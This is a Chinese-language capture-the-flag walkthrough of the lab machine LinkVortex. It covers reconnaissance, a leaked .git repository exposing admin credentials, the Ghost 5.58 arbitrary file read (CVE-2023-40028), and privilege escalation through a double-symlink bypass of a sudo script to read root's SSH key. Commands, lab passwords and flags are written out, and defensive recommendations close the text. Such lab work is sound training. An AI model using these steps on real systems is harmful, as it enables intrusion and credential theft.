[Meachines] [Easy] LinkVortex Git leakage+Ghost 5.58+Double Link Bypass权限提升
字数 1240 2025-08-22 12:23:41

LinkVortex 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行初始端口扫描:

nmap -p- 10.10.11.47 --min-rate 1000 -sC -sV

发现开放端口:

  • 22/tcp: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
  • 80/tcp: Apache httpd (重定向到linkvortex.htb)

1.2 主机文件配置

将目标IP与域名关联:

echo '10.10.11.47 linkvortex.htb' >> /etc/hosts

1.3 目录爆破

使用feroxbuster进行目录扫描:

feroxbuster --url http://linkvortex.htb

1.4 子域名枚举

使用ffuf进行子域名枚举:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -ac

发现dev子域名后,更新hosts文件:

echo '10.10.11.47 dev.linkvortex.htb' >> /etc/hosts

1.5 网站技术识别

使用whatweb识别网站技术:

whatweb http://linkvortex.htb/ -v

2. Git泄漏利用

2.1 发现Git泄漏

在dev子域名发现.git目录:

http://dev.linkvortex.htb/.git/

2.2 使用GitHack工具

使用GitHack工具下载.git目录内容:

python3 GitHack.py -u "http://dev.linkvortex.htb/.git/"

2.3 搜索敏感信息

在下载的文件中搜索密码:

grep -iR password dev.linkvortex.htb -C 1

在Dockerfile.ghost中发现管理员凭据:

username: admin@linkvortex.htb
password: OctopiFociPilfer45

3. Ghost CMS漏洞利用 (CVE-2023-40028)

3.1 漏洞概述

Ghost 5.58存在任意文件读取漏洞(CVE-2023-40028)

3.2 使用漏洞利用脚本

下载并运行漏洞利用脚本:

./exp -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h 'http://linkvortex.htb'

3.3 读取关键文件

读取/etc/passwd文件:

Enter the file path to read: /etc/passwd

读取Ghost配置文件获取更多凭据:

Enter the file path to read: /var/lib/ghost/config.production.json

发现新用户凭据:

username: bob@linkvortex.htb
password: fibber-talented-worth

获取用户flag:

User.txt: d8c2977c5710a5238d6dce63b684a6d8

4. 权限提升:双链接绕过

4.1 检查sudo权限

检查当前用户的sudo权限:

sudo -l

发现可以以root权限执行/opt/ghost/clean_symlink.sh脚本

4.2 分析clean_symlink.sh脚本

脚本功能分析:

  1. 定义隔离目录:QUAR_DIR="/var/quarantined"
  2. 检查传入的文件是否是PNG文件
  3. 检查是否是符号链接
  4. 如果链接指向/etc或/root目录,则删除链接
  5. 否则将链接移动到隔离目录
  6. 如果CHECK_CONTENT=true,则显示文件内容

4.3 利用思路

利用双链接绕过限制:

  1. 创建第一个链接指向EXP文件
  2. 创建第二个链接指向目标文件(如/root/.ssh/id_rsa)
  3. 利用CHECK_CONTENT=true读取文件内容

4.4 具体步骤

  1. 创建链接结构:
rm ~/Bypass.png ~/EXP
ln -s ~/EXP ~/Bypass.png
ln -s /root/.ssh/id_rsa ~/EXP
  1. 执行脚本读取root私钥:
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/Bypass.png
  1. 使用获取的私钥登录root:
ssh -i id_rsa root@10.10.11.47
  1. 获取root flag:
Root.txt: 46d894d7d778a734ebd0d27acb77efe8

5. 关键知识点总结

  1. Git泄漏:暴露的.git目录可能导致源代码和敏感信息泄露
  2. Ghost CMS漏洞:CVE-2023-40028允许认证用户读取任意文件
  3. 符号链接绕过:通过创建多层符号链接可以绕过安全检查
  4. 环境变量利用:通过控制环境变量可以改变程序行为
  5. 权限提升技巧:利用sudo权限执行脚本时的上下文环境进行提权

6. 防御建议

  1. 禁止.git目录的公开访问
  2. 及时更新CMS系统修补已知漏洞
  3. 限制sudo权限,避免不必要的高权限执行
  4. 对符号链接处理进行更严格的检查
  5. 敏感文件应设置严格的权限控制
LinkVortex 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行初始端口扫描: 发现开放端口: 22/tcp: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 80/tcp: Apache httpd (重定向到linkvortex.htb) 1.2 主机文件配置 将目标IP与域名关联: 1.3 目录爆破 使用feroxbuster进行目录扫描: 1.4 子域名枚举 使用ffuf进行子域名枚举: 发现dev子域名后,更新hosts文件: 1.5 网站技术识别 使用whatweb识别网站技术: 2. Git泄漏利用 2.1 发现Git泄漏 在dev子域名发现.git目录: 2.2 使用GitHack工具 使用GitHack工具下载.git目录内容: 2.3 搜索敏感信息 在下载的文件中搜索密码: 在Dockerfile.ghost中发现管理员凭据: 3. Ghost CMS漏洞利用 (CVE-2023-40028) 3.1 漏洞概述 Ghost 5.58存在任意文件读取漏洞(CVE-2023-40028) 3.2 使用漏洞利用脚本 下载并运行漏洞利用脚本: 3.3 读取关键文件 读取/etc/passwd文件: 读取Ghost配置文件获取更多凭据: 发现新用户凭据: 获取用户flag: 4. 权限提升:双链接绕过 4.1 检查sudo权限 检查当前用户的sudo权限: 发现可以以root权限执行/opt/ghost/clean_ symlink.sh脚本 4.2 分析clean_ symlink.sh脚本 脚本功能分析: 定义隔离目录: QUAR_DIR="/var/quarantined" 检查传入的文件是否是PNG文件 检查是否是符号链接 如果链接指向/etc或/root目录,则删除链接 否则将链接移动到隔离目录 如果CHECK_ CONTENT=true,则显示文件内容 4.3 利用思路 利用双链接绕过限制: 创建第一个链接指向EXP文件 创建第二个链接指向目标文件(如/root/.ssh/id_ rsa) 利用CHECK_ CONTENT=true读取文件内容 4.4 具体步骤 创建链接结构: 执行脚本读取root私钥: 使用获取的私钥登录root: 获取root flag: 5. 关键知识点总结 Git泄漏 :暴露的.git目录可能导致源代码和敏感信息泄露 Ghost CMS漏洞 :CVE-2023-40028允许认证用户读取任意文件 符号链接绕过 :通过创建多层符号链接可以绕过安全检查 环境变量利用 :通过控制环境变量可以改变程序行为 权限提升技巧 :利用sudo权限执行脚本时的上下文环境进行提权 6. 防御建议 禁止.git目录的公开访问 及时更新CMS系统修补已知漏洞 限制sudo权限,避免不必要的高权限执行 对符号链接处理进行更严格的检查 敏感文件应设置严格的权限控制